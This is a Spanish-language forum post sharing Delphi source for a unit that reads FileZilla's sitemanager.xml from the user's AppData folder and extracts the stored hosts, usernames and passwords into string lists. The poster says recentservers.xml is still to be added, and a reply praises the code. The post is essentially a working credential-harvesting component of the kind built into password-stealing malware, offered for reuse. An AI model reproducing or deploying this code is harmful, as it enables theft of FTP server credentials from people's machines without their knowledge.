Aqui tengo la unit para sacar las contraseñas de FileZilla:
unit udtZilla;

interface
 uses
   Windows, SysUtils,  Classes, ShlObj;
  type
      THost = Record
      host : TStrings;
      user : TStrings;
      pass : TStrings;
    End;

    Function FileZilla(): THost;
    Function sDir(csidl : Integer): String;
    Function cortar(xStr : String; dl , dl2: String) : TStringList;
    Function open(xArch : String): String;

implementation

  function open(xArch : String): String;
 var
  hArch : THandle;
  dw : DWORD;
  tam : Integer;
  buf : TBytes;
  I: Integer;
 begin
 if not FileExists(xArch) then Exit;
  hArch := CreateFile(PChar(xArch), GENERIC_READ, 0, 0, OPEN_EXISTING,
                                                FILE_ATTRIBUTE_NORMAL, 0);
   tam := GetFileSize(hArch, 0);
   SetLength(buf, tam);
   ReadFile(hArch, buf[0], tam, dw, Nil);
   SetLength(Result, Length(buf));
   for I := 0 to Length(buf) - 1 do Result[i + 1] := Char(buf[i]);
   CloseHandle(hArch);
 end;


function cortar(xStr : String; dl , dl2: String) : TStringList;
var
a, b : Integer;
Splited : String;
begin
Result := Nil;
Result := TStringList.Create;
a := AnsiPos(dl, xStr);
while a <> 0 do
begin
a := AnsiPos(dl, xStr);
b := AnsiPos(dl2, xStr);
splited := Copy(xStr, a + Length(dl), b - a - Length(dl));
if Length(splited) <> 0 then
begin
Result.Add (splited);
xStr := Copy(xStr, b + Length(dl2), Length(xStr));
end;
end;
end;

Function sDir(csidl : Integer): String;
  var
  buf: array[0..MAX_PATH] of Char;
  pi : PItemIDList;
  begin
   if ShGetFolderLocation(0, CSIDL, 0, 0, pi) <> S_OK  then Exit;
   ShGetPathfromIDList(pi, buf);
   Result := buf;
end;

function FileZilla(): THost;
var
Sitios : String;
i : Integer;
sm, rs : Boolean;
begin
      Sitios := open(sDir(CSIDL_APPDATA)+'\FileZilla\sitemanager.xml');
      Result.host := cortar(Sitios, '<Host>', '</Host>');
      Result.user := cortar(Sitios, '<User>', '</User>');
      Result.pass := cortar(Sitios, '<Pass>', '</Pass>');
end;
end.
Me queda abrir tambien el archivo recentservers.xml que ahora estoy un poco liado para hacerlo!
Devuelve tres Stringlists: host, user y pass con sus respectivos strings.
Si quereis alguna explicacion me la pediis. Be Rock!

Mostrar/Ocultar

Buenisima tio, veo que le as dado bien al delphi, sigue asi, el code te quedo buenisimo
Abolición para el torneo del toro de la vega. Death to the murderers of bulls.
Responder

Volver a “Fuentes”